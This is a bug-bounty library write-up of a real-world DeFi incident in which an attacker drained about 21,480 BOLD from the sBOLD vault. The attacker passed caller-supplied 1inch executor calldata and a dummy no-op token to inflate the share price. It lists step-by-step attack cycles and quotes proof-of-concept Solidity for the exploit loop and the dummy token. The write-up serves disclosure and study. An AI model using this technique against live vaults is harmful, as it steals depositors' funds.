# sBOLD: unverified 1inch adapter swap drains vault via share inflation

sBOLD's swap() trusted caller-supplied 1inch calldata and never verified collateral was consumed, letting an attacker inflate share price and skim ~21,480 BOLD.

- Payout: Real-world hack
- Severity: critical
- Program: sBOLD
- Analysis by: DeFiHackLabs
- Disclosed: 2026-11-18
- Write-up quality: 9/10
- Original: https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/2026-11/sBOLD_exp.sol
- Library page: https://bugbountylibrary.com/r/dhl%3A20261118-sbold
- Tags: area:web3 domain:web3 impact:funds-loss kind:incident platform:defihacklabs sev:critical tech:evm tech:solidity technique:chained technique:source-review vuln:accounting-error vuln:business-logic vuln:flash-loan vuln:oracle-manipulation

**Target:** ERC4626 vault swap() routing collateral to BOLD via 1inch v6 adapter
**Root cause:** SwapLogic._execute only checks the vault's BOLD balance rose by minOut; it never verifies the approved collateral was actually consumed by the adapter. 1inch v6 swap() accepts an arbitrary caller-supplied executor, so the attacker delivers BOLD from their own stash while collateral stays or is pulled back.
**Steps:**
1. Flash loan 10k wstETH from Morpho and WETH from Balancer; open a Liquity V2 trove drawing 9.01M BOLD.
2. Per cycle: `deposit(9M BOLD)` into sBOLD to mint cheap shares.
3. Pre-fund 4 WETH to the vault so totalAssets counts it as collateral.
4. Call `swap()` on the WETH pool with a dummy srcToken whose `transferFrom` is a no-op, injecting BOLD via a self-deployed 1inch executor to lift share price.
5. `redeem()` shares at the inflated rate.
6. Call `swap()` on the wstETH pool to pull the 4 WETH back out via swap1's residual WETH approval, keeping accounted collateral under the 7,500 BOLD cap.
7. Repeat 8 cycles to skim ~21,480 BOLD.
8. Close trove, repay both flash loans, then `redeemCollateral(21480.30 BOLD)` via Liquity V2 CollateralRegistry to convert skim into WETH/wstETH/rETH.
**How found:** Recognized that swap() passes caller-supplied calldata to a fixed 1inch v6 adapter and that _execute only checks BOLD balance delta, not collateral consumption; 1inch v6's arbitrary executor parameter lets the caller substitute their own contract.
**Exploitation:** Attacker used real Morpho (10k wstETH) and Balancer (WETH) flash loans to fund a genuine Liquity V2 trove drawing 9.01M BOLD. Eight cycles of deposit + dummy-srcToken injecting swap + redeem + WETH-recovering swap inflated sBOLD share price while keeping accounted collateral under the 7,500 BOLD cap, skimming ~21,480 BOLD of depositors' funds. Final redeemCollateral converted BOLD to collateral; net +4.219135 WETH, +5.768363 wstETH, +0.388633 rETH, BOLD net 0. Share price fell 1.0961 to 1.0881.
**Escalation:** Chained flash loans + Liquity trove + repeated swap/redeem cycles to amplify skim, then CollateralRegistry redemption to realize profit as collateral.
**Insight:** When a vault routes swaps through a fixed aggregator adapter with caller-supplied calldata, check whether the aggregator lets the caller pick the executor or srcToken — a dummy token with no-op transferFrom plus a self-executor can satisfy the balance-delta check without consuming approved collateral, enabling share-price inflation.

## Proof of concept (copied exactly from the original report)

**Eight-cycle drain loop with 1inch swaps**

```
function testExploit() public {
        dummy = new Dummy();

        uint256 wethStart = WETH.balanceOf(address(this));
        uint256 wstStart = WSTETH.balanceOf(address(this));
        uint256 rethStart = RETH.balanceOf(address(this));
        uint256 rate0 = SBOLD.getSBoldRate();
        uint256 ta0 = SBOLD.totalAssets();

        // Outer flash loan: 10k wstETH (trove collateral) from Morpho. Inside, the 8-cycle drain
        // runs and both flash loans + the trove are settled, leaving the BOLD skim on this contract.
        IMorpho(MORPHO).flashLoan(address(WSTETH), 10_000 ether, "");

        // Final step, exactly as the on-chain tx: redeem the entire BOLD skim through Liquity V2's
        // CollateralRegistry, converting it into WETH + wstETH + rETH pulled from the lowest-rate
        // troves across all three branches. This is a permissionless core Liquity action.
        uint256 boldSkim = BOLD.balanceOf(address(this));
        BOLD.approve(address(REGISTRY), type(uint256).max);
        REGISTRY.redeemCollateral(boldSkim, 1000, 1e18);
```

**Dummy token no-op transferFrom for swap1**

```
contract Dummy {
    function transferFrom(address, address, uint256) external pure returns (bool) { return true; }
    function approve(address, uint256) external pure returns (bool) { return true; }
    function balanceOf(address) external pure returns (uint256) { return type(uint256).max; }
```

**1inch v6 swap interface with arbitrary executor**

```
interface IAggregationRouterV6 {
    struct SwapDescription {
        address srcToken; address dstToken; address payable srcReceiver; address payable dstReceiver;
        uint256 amount; uint256 minReturnAmount; uint256 flags;
    }
    function swap(address executor, SwapDescription calldata desc, bytes calldata data)
        external payable returns (uint256, uint256);
```

